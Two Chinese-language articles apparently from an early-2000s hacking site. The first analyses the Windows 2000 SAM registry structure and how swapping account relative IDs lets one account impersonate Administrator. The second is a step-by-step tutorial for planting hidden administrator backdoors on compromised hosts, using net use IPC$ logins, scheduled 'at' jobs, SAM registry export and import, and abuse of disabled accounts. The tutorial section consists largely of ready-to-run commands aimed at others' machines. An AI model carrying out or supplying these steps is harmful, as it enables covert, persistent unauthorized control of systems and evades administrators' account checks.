解剖安全帳號管理器(SAM)結構 來源:www.opengram.com 類別:駭客文獻 日期:2002-5-1 6:28:30 今日/總瀏覽: 1/386
Author: Refdom
Email : refdom@263.net
HomePage: www.opengram.com
2002/4/29
I、 摘要
II、 關於SAM
III、註冊表中SAM資料庫的結構
IV、 SAM資料庫的結構和主要內容
V、 關於SAM資料庫分析的結論
一、摘要
分析安全帳號管理器結構是在一個多月前做的事情了,只零碎地記錄下片段,沒有發布過。不發布的主要原因是安全帳戶管理器(SAM)是WIN系統帳戶管理的核心,並且非常系統化,我也有很多地方僅僅是進行的推斷和猜測,同時,SAM hack可能造成啟動時lsass.exe載入帳戶管理器出錯,即便是安全模式也不能修複(啟動時候必然載入SAM)使得整個系統啟動崩潰(我通常需要依靠第二系統刪除SAM檔案來啟動)。至於現在發布出來,主要是因為Adam和叮叮的《複製管理員帳號》種所描述的製作rootkit辦法隱蔽性和危害性,對SAM的結構的熟悉,可以協助安全維護人員做好安全檢測(當然也可能讓不良企圖者利用)。
這裡只介紹關於SAM的內容,同Security相關的暫時不公開。
二、關於SAM
不要誤解了SAM,這不是一個檔案sam這麼簡單。SAM(Security Accounts Manager安全帳戶管理器)負責SAM資料庫的控制和維護。SAM資料庫位於註冊表HKLM/SAM/SAM下,受到ACL保護,可以使用regedt32.exe開啟登錄編輯程式並設定適當許可權查看SAM中的內容。SAM資料庫在磁碟上就儲存在%systemroot%system32/config/目錄下的sam檔案中,在這個目錄下還包括一個security檔案,是安全資料庫的內容,兩者有不少關係。
SAM資料庫中包含所有組、帳戶的資訊,包括密碼HASH、帳戶的SID等。這些內容在後面詳細介紹。以我分析的系統中文Win2K Adv Server為例。
三、註冊表中SAM資料庫的結構
展開註冊表HKLM/SAM/SAM/:
HKLM---SAM
|---SAM
|---Domains
| |---Account
| | |---Aliases
| | | |---Members
| | | |---Names
| | |---Groups
| | | |---00000201
| | | |---Names
| | | |---None
| | |---Users
| | |---000001F4
| | |---000001F5
| | |---000003E8
| | |---000003E9
| | |---Names
| | |---Adaministrator
| | |---Guest
| | |---IUSR_REFDOM
| | |---IWASM_REFDOM
| |---Builtin
| |---Aliases
| | |---00000220
| | |---00000221
| | |---00000222
| | |---00000223
| | |---Members
| | | |---S-1-5-21-1214440339-706699826-1708537768
| | | |---000001F4
| | | |---000001F5
| | | |---000003E8
| | | |---000003E9
| | |--- Names
| | |---Administrators
| | |---Users
| | |---Guests
| | |---Power Users
| |---Groups
| | |---Names
| |
| |---Users
| |---Names
|
|---RXACT
這是我機器上註冊表中的SAM樹。
對照SAM檔案中的內容,可以看出,註冊表中的SAM樹實際上就是SAM檔案中一樣。不過,SAM檔案中是先列RXACT然後在是Domains內容(以此類推),檔案中的表達順序和註冊表中的樹形順序是相反的。如果習慣於看檔案內容,從檔案的0000h到0006Ch,表示的是SAM資料庫所在的位置:/systemroot/system32/config/sam,然後是一端空白,直到01000h(hbin),從這裡開始就是整個資料庫的內容。SAM資料庫的檔案內容不作主要介紹,不過會穿插著介紹,有興趣可以自己去研究。
四、SAM資料庫的結構和主要內容:
在整個資料庫中,帳號主要內容存在於下面這些位置:
在/Domains/下就是域(或本機)中的SAM內容,其下有兩個分支“Account”和“Builtin”。
/Domains/Account是使用者帳號內容。
/Domains/Account/Users下就是各個帳號的資訊。其下的子鍵就是各個帳號的SID相對標誌符。比如000001F4,每個帳號下面有兩個子項,F和V。其中/Names/下是使用者帳號名,每個帳號名只有一個預設的子項,項中類型不是一般的註冊表資料類型,而是指向標誌這個帳號的SID最後一項(相對標識符),比如其下的Administrator,類型為0x1F4,於是從前面的000001F4就對應著帳戶名稱administrator的內容。由此可見MS帳號搜尋的邏輯。
推斷一:從註冊表中結構來看帳號,如果查詢一個帳戶名稱refdom的相關資訊,那麼,微軟從帳號名refdom中找到其類型0x3EB,然後尋找相對標誌符(或者SID)為000003EB的帳號內容。所有的API函數(比如NetUserEnum())都是這樣來執行的。因此,如果改變refdom帳號中的類型0x3EB為0x1F4,那麼這個帳號將被指向類000001F4的帳
戶。而這個帳號000001F4就是administrator帳戶,這樣,系統在登入過程中就把refdom帳號完全轉為了administrator帳號,帳號refdom所使用的所有內容、資訊都是adminisrtator內容,包括密碼、許可權、案頭、記錄、訪問時間等等。這個推斷應該成立,但是,將意味著兩個使用者名稱對應一個使用者資訊,系統啟動上應該會發生錯誤!
推斷一是在以前分析結構的時候即得出了,揭示了登入過程中及之後帳戶名稱和SID關聯的關係。
/Domains/Account/Users/000001F4,這就是administrator的帳戶資訊(其他類似)。其中有兩個子項V和F。項目V中儲存的是帳戶的基本資料,使用者名稱、使用者全名(full name)、所屬組、描述、密碼hash、注釋、是否可以更改密碼、帳戶啟用、密碼設定時間等。項目F中儲存的是一些登入記錄,比如上次登入時間、錯誤登入次數等,還
有一個重要的地方就是這個帳號的SID相對標誌符。
以前分析結構的時候沒有留意到這個地方,這就是Adam提出的思路。這個地方就是這個SID相對標誌符在註冊表中一個帳號出現了兩遍,一個是在子鍵000001F4,另一個地方就是子鍵中項F的內容裡面,從48到51的四個位元組:F4 01 00 00,這實際上是一個long類型變數,也就是00 00 01 F4。當一個標誌出現在兩個地方的時候就將發生同步問題。明顯,微軟犯了這個毛病。兩個變數本應該統一標誌一個使用者帳號,但是微軟把兩個變數分別發揮各自的作用,卻沒有同步統一起來。
子鍵中000001F4用來同使用者名稱administrator對應,方便通過使用者查詢帳戶資訊,比如LookupAccountSid()等帳號相關API函數都是通過這個位置來定位使用者資訊的,這個關聯應該是用在了帳戶登入以後。而項目V值中的 F4 01 00 00是同帳戶登入最直接相關聯的。
推斷二:WIN登入的時候,將從SAM中獲得相對標誌符,而這個相對標誌符的位置是V值中的 F4 01 00 00。但是,帳戶資訊查詢卻使用的SAM中子鍵內容。
推斷二的原因假設(假設一):在帳戶登入的時候,登入過程獲得SAM資料庫中使用者名稱使用的客戶紀錄資訊中的相對標誌符值(相當於V值中的 F4 01 00 00),帳戶登入之後,所有跟帳戶相關的之後,這個值不再被API函數使用,而相對標誌符由一個資料記錄項的欄位名代替(相當於子鍵000001F4)。微軟犯了一個同步邏輯問題!
推斷二是根據Adam提出而進行的,以前沒有這樣推斷過。:( 推斷二如果成立,揭示了在登入過程中帳戶SID進行的過程。這就是為什麼V中的值都是跟帳戶登入記錄(登入時間,密碼錯誤次數等)相關的原因。同時,因為F中儲存了一個使用者名稱內容,而API函數查詢的是這個使用者名稱,所以Adam的複製辦法還是容易露臉,經叮叮補充過後,這個使用者名稱也被恢複原使用者名稱了,從使用者名稱上檢測就相對難了。
上面對項目V的介紹可以知道,其中儲存的是帳戶的基本資料,使用者名稱、使用者全名(full name)、所屬組、描述、密碼hash、注釋、是否可以更改密碼、帳戶啟用、密碼設定時間等。現在來關心的是密碼HASH。
假設二:在帳戶的項V中,包含了使用者HASH,分別包括是LM2和NT的密碼加密散列,Crack時,可分開進行。畢竟LM2簡單。
/Domains/Builtin下的內容是同帳戶組相關的。其結構同/Account下的類似,並且也存在相應的問題,就不再羅嗦了。
SAM資料庫儲存的檔案sam中,可沒有註冊表中的這麼簡明的內容,而主要是通過位移量、長度來定位內容。並且單個帳號的資訊都是集中在一塊的,而不是象註冊表形式這樣分隔開(名字的一個鍵而內容在另外一個鍵)。
sam檔案中,可根據這些下面這些分隔字元來定位元據含義:
nk (6E 6B) 鍵或者子鍵名
vk (76 6B) 相應的值
if (6C 66) 子鍵列表
sk (73 6B) 許可權
五、關於SAM資料庫分析的結論:
SAM HACK是非常有危險性的。不正確的修改會將系統的安全資料管理器破壞,造成系統啟動問題,雖然可以通過刪除SAM檔案來讓啟動恢複。如果能夠熟悉SAM的結構,你將發現,可以對使用者名稱與使用者名稱之間、使用者組與使用者組之間進行調換,以及帳戶和帳戶組偽造,完全打破微軟的帳戶格局。並且非常隱蔽,讓帳戶相關的API函數摸不著頭腦。
雖然微軟處理帳號資訊中犯了不少邏輯問題,但是安全帳號資料庫並非不安全,所有操作都必須能完全擁有管理員權限。
當隱蔽後門的辦法被提出來之後,一定會讓不少“駭客”利用,管理員也應該多多熟悉相關技術,作好安全檢測,我的目的就達到了。對《複製管理員帳號》的簡單偵查工具可以在我的首頁(www.opengram.com)下載,但是更多的還是需要管理員學習相關知識,才能更好地檢測入侵。
建立隱藏的超級使用者
來源:不明 類別:安全文獻 日期:2003-2-8 11:22:08 今日/總瀏覽: 1/1071
前幾天在某個網站(記不清了,不好意思 ^_*)上看到了一篇介紹如何建立隱藏的超級使用者的圖文教程,給我了很大的啟發,作者只說明了如何在本地圖形介面下建立隱藏的超級使用者,且作者說他無法在命令列下實現隱藏的超級使用者的建立,於是我就開始自已摸索,剛開始時,我用reg.exe(3.0版)作為命令列下匯出匯入註冊表檔案的工具,但每次匯入以後,建立的隱藏的超級使用者總不能用,後來開啟註冊表查看,發現這個隱藏的超級使用者的預設資料類型並沒有被匯入註冊表。由於這種資料類型是十六進位數表示的(如administrator的預設資料類型為000001F4,下面例子中的hacker$的資料類型是00000409)而不是我們常說的字串型、dword型、二進位型等資料類型,reg.exe不能識別,因而也就無法匯入,而在圖形介面下用登錄編輯程式regedit.exe卻能夠將這種資料類型匯入,後來一想regedit.exe是一個兩棲程式,它既可以在windows介面下運行,也可以在DOS下運行,既然圖形介面regedit.exe能夠匯入這種資料類型,那麼DOS下面的它也應該能夠匯入這種資料類型,後來經實驗證明了我的想法。下面我把我實現這個隱藏的超級使用者建立方法介紹如下:
一、如何在圖形介面建立隱藏的超級使用者
圖形介面下適用本地或開3389終端服務的肉雞上。上面我提到的那位作者說的方法很好,但是較為複雜,還要用到psu.exe(讓程式以系統使用者身份啟動並執行程式),如果在肉雞上的話還要上傳psu.exe。我說的這個方法將不用到psu.exe這個程式。因為windows2000有兩個登錄編輯程式:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe實為一個程式,修改索引值的許可權時在右鍵中點“許可權”來修改。對regedit.exe我想大家都很熟悉,但卻不能對註冊表的項鍵設定許可權,而regedt32.exe最大的優點就是能夠對註冊表的項鍵設定許可權。nt/2000/xp的帳戶資訊都在註冊表的HKEY_LOCAL_MACHINE/SAM/SAM鍵下,但是除了系統使用者SYSTEM外,其它使用者都無權查看到裡面的資訊,因此我首先用regedt32.exe對SAM鍵為我設定為“完全控制”許可權。這樣就可以對SAM鍵內的資訊進行讀寫了了。具體步聚如下:
1、假設我們是以超級使用者administrator登入到開有終端服務的肉雞上的,首先在命令列下或帳戶管理器中建立一個帳戶:hacker$,這裡我在命令列下建立這個帳戶
net user hacker$ 1234 /add
2、在開始/運行中輸入:regedt32.exe並斷行符號來運行regedt32.exe。
3、點“許可權”以後會快顯視窗
點添加將我登入時的帳戶添加到安全欄內,這裡我是以administrator的身份登入的,所以我就將administrator加入,並設定許可權為“完全控制"。這裡需要說明一下:最好是添加你登入的帳戶或帳戶所在的組,切莫修改原有的帳戶或組,否則將會帶來一系列不必要的問題。等隱藏超級使用者建好以,再來這裡將你添加的帳戶刪除即可。
4、再點“開始”→“運行”並輸入"regedit.exe" 斷行符號,啟動登錄編輯程式regedit.exe。
開啟鍵:HKEY_LOCAL_MAICHINE/SAM/SAM/Domains/account/user/names/hacker$"
5、將項hacker$、00000409、000001F4匯出為hacker.reg、409.reg、1f4.reg,用記事本分別打這幾個匯出的檔案進行編輯,將超級使用者對應的項000001F4下的鍵"F"的值複製,並覆蓋hacker$對應的項00000409下的鍵"F"的值,然後再將00000409.reg與hacker.reg合并。
6、在命令列下執行net user hacker$ /del將使用者hacker$刪除:net user hacker$ /del
7、在regedit.exe的視窗內按F5重新整理,然後打檔案-匯入註冊表檔案將修改好的hacker.reg匯入註冊表即可
8、到此,隱藏的超級使用者hacker$已經建好了,然後關閉regedit.exe。在regedt32.exe視窗內把HKEY_LOCAL_MACHINE/SAM/SAM鍵許可權改回原來的樣子(只要刪除添加的帳戶administrator即可)。
9、注意:隱藏的超級使用者建好後,在帳戶管理器看不到hacker$這個使用者,在命令列用“net user”命令也看不到,但是超級使用者建立以後,就不能再改密碼了,如果用net user命令來改hacker$的密碼的話,那麼在帳戶管理器中將又會看這個隱藏的超級使用者了,而且不能刪除。
如何在命令列下遠程建立隱藏的超級使用者
在這裡將用at的命令,因為用at產生的計劃任務是以系統身份啟動並執行,所以也用不到psu.exe程式。為了能夠使用at命令,肉雞必須開有schedule的服務,如果沒有開啟,可用流光裡帶的工具netsvc.exe或sc.exe來遠程啟動,當然其方法也可以,只要能啟動schedule服務就行。
對於命令列方式,你可以採用各種串連方式,如用SQLexec串連MSSQL的1433連接埠,也可以用telnet服務,只要以你能得到一個cmdshell,並且有運行at命令的許可權就可以。
1、首先找到一台肉雞,至於如何來找那不是我這裡所說的話題。這裡先假設找到一台超級使用者為administrator,密碼為12345678的肉雞,現在我們開始在命令列下遠程為它建立隱藏的超級使用者。(例子中的主機是我的區域網路內的一台主機,我將它的ip地址改為13.50.97.238,,請勿在互連網上對號入座,以免騷擾正常的ip地址。)
2、先與肉雞建立串連,命令為: net use //13.50.97.238/ipc$ "12345678" /user:"administrator
3、用at命令在肉雞上建立一個使用者(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠程啟動):at //13.50.97.238 12:51
c:/winnt/system32/net.exe user hacker$ 1234 /add
建立這個加有$符的使用者名稱,是因為加有$符後,命令列下用net user將不顯示這個使用者,但在帳戶管理器卻能看到這個使用者。
4、同樣用at命令匯出HKEY_LOCAL_MACHINE/sam/sam/Domains/account/users下索引值:at //13.50.97.238 12:55
c:/winnt/regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/account/users/
/e 是regedit.exe的參數,在_LOCAL_MACHINE/SAM/SAM/Domains/account/users/這個鍵的一定要以/結尾。必要的情況下可以用引號將"c:/winnt/regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/account/users/"引起來。
5、將肉雞上的hacker.reg下載到本機上用記事本開啟進行編輯命令為:copy //13.50.97.238/admin$/system32/hacker.reg
c:/hacker.reg
修改的方法圖形界中已經介紹過了,這裡就不作介紹了。
6、再將編輯好的hacker.reg拷回肉雞上 copy c:/hacker.reg //13.50.97.238/admin$/system32/hacker1.reg
7、查看肉雞時間:net time //13.50.97.238 然後用at命令將使用者hacker$刪除:
at //13.50.97.238 13:40 net user hacker$ /del
8、驗證hacker$是否刪除:用
net use //13.50.97.238 /del 斷開與肉雞的串連。
net use //13.50.97.238/ipc$ "1234" /user:"hacker$" 用帳戶hacker$與肉雞串連,不能串連說明已刪除。
9、再與肉雞建立串連:net use //13.50.97.238/ipc$ "12345678" /user:"administrator"
再取得肉雞時間,用at命令將拷回肉雞的hacker1.reg匯入肉雞註冊表:
at //13.50.97.238 13:41 c:/winnt/regedit.exe /s hacker1.reg
regedit.exe的參數/s是指安靜模式。
10、再驗證hacker$是否已建立,方法同上面驗證hacker$是否被刪除一樣。
11、再驗證使用者hacker$是否有讀、寫、刪的許可權,如果不放心,你還可驗證是否能建立其它帳戶。
12、通過11可以斷定使用者hacker$具有超級使用者權限,因為最初我用at命令建立它的時候是一個普通使用者,而現在卻具有遠程讀、寫、刪的許可權。
三、如果肉雞沒有開3389終端服務,而我又不想用命令列,怎麼辦?
這種情況下,你也可以用介面方式來遠程為肉雞建立隱藏的超級使用者。因為regedit.exe、regedt32.exe都有串連網路註冊表的功能,你可以用regedt32.exe來為遠程主機的登錄機碼設定許可權,用regedit.exe來編輯遠端登錄。帳戶管理器也有一項連另一台電腦的功能,你可以用帳戶管理器為遠程主機建立和刪除帳戶。具體步聚與上面介紹的相似,我就不多說了,只它的速度實在是令人難以忍受。
但是這裡有兩個前提:1、先用net use //肉雞ip/ipc$ "密碼" /user:"超級使用者名稱"來與遠程主機建立串連以後,才能用regedit.exe regedt32.exe及帳戶管理器與遠程主機串連。
2、遠程主機必須開啟遠端登錄服務(沒有開啟的話,你也可以遠程開啟,因為你有超級使用者的密碼了)。
四、利用被禁用的帳戶建立隱藏的超級使用者:
我們可以用肉雞上被禁止的使用者來建立隱藏的超組使用者.方法如下:
1.想辦法查看有哪些使用者被細心的管理員禁止,一般情況下,有些管理員出於安全考慮,通常會將guest禁用,當然了會禁用其它使用者。在圖形介面下,非常容易,只要在帳戶管理器中就可以看到被禁用的帳戶上有一個紅叉;而在命令列下,我還沒有想到好的辦法,只能在命令列下用命令:"net user 使用者名稱"一個一個來查看使用者是否被禁用。
2.在這裡,我們假設使用者hacker被管理員禁用。首先,我先用小榕的超組使用者複製程式CA.exe,將被禁用的使用者hacker 複製成超級使用者(複製之後,被禁用的使用者hacker就會自動被啟用了): CA.EXE //肉雞ip Administrator 超級使用者密碼 hacher hacher密碼。
3.如果你現在一個cmdshell,如利用telnet服務或SQLEXEC串連肉雞的msSQL的預設連接埠1433得到的shell都可以,這時你只要輸入命令:
net user hacker /active:no 這樣使用者hacker就被禁用了(至少表面上是這樣的),當然你也可以將使用者hacher換成其它的被禁用的使用者。
4.這時如果你在圖形介面下看帳戶管理器中的使用者時,會發現使用者hacker被禁用了,但事實上是這樣的嗎?你用這個被禁用的使用者串連一下肉雞看看是否能連上?用命令:net user //肉雞ip/ipc$ "hacker密碼" /user:"hacker" 連一連看看。我可以告訴大家,經過我多次實驗,次次都能成功,而且還是超級使用者權限。
5.如果沒有cmdshell怎麼辦?你可以我上面介紹的at命令來禁用使用者hacker;命令格式:at //肉雞ip 時間 net user hacker /active:no
6.原理:具體的高深的原理我也說不上來,我只能從最簡單的說。你先在圖形介面下在帳戶管理器中禁用一下超級使用者administrator看看,肯定會彈出一對話方塊,並禁止你繼續禁用超級使用者administrator,同樣,因為在複製時,hacker在註冊表的"F"鍵被超級使用者administrator在註冊表的"F"鍵所替代,因而hacker就具有了超級使用者的許可權了,但是由於hacker在註冊表內"C"健還是原來的"C"鍵,所以hacker還是會被禁用,但是它的超級使用者權限卻不會被禁用,因此被禁用的使用者hacker還是可以串連肉雞,而且還具有超級使用者的許可權。具體我也說不明白,大家權且這麼理解吧。
五、注意的幾點事項:
1、隱藏的超級使用者建立以後,在帳戶管理器中和命令列下均看不到這個使用者,但這個使用者卻存在。
2、隱藏的超級使用者建立以後,就不能再修改密碼了,因為一旦修改密碼,這個隱藏的超級使用者就會暴露在帳戶管理器中,而且不能刪除。
3、如在本機上實驗時,最好用系統內建的備份工具先備份好原生“系統狀態”主要是註冊表的備份,因為本人做實驗時,曾出現過帳戶管理器中看不到任何使用者,組中也看不到任何組的現象,但它們卻存在。幸好我有備份,呵呵。SAM鍵是畢竟系統最敏感的部位。
4、本方法在2000/XP上測試通過,未在NT上測試。本方法僅供研究,請勿將本方法用於破壞上,利用本方法造成嚴重後果者,由使用者負責,本人概不負責。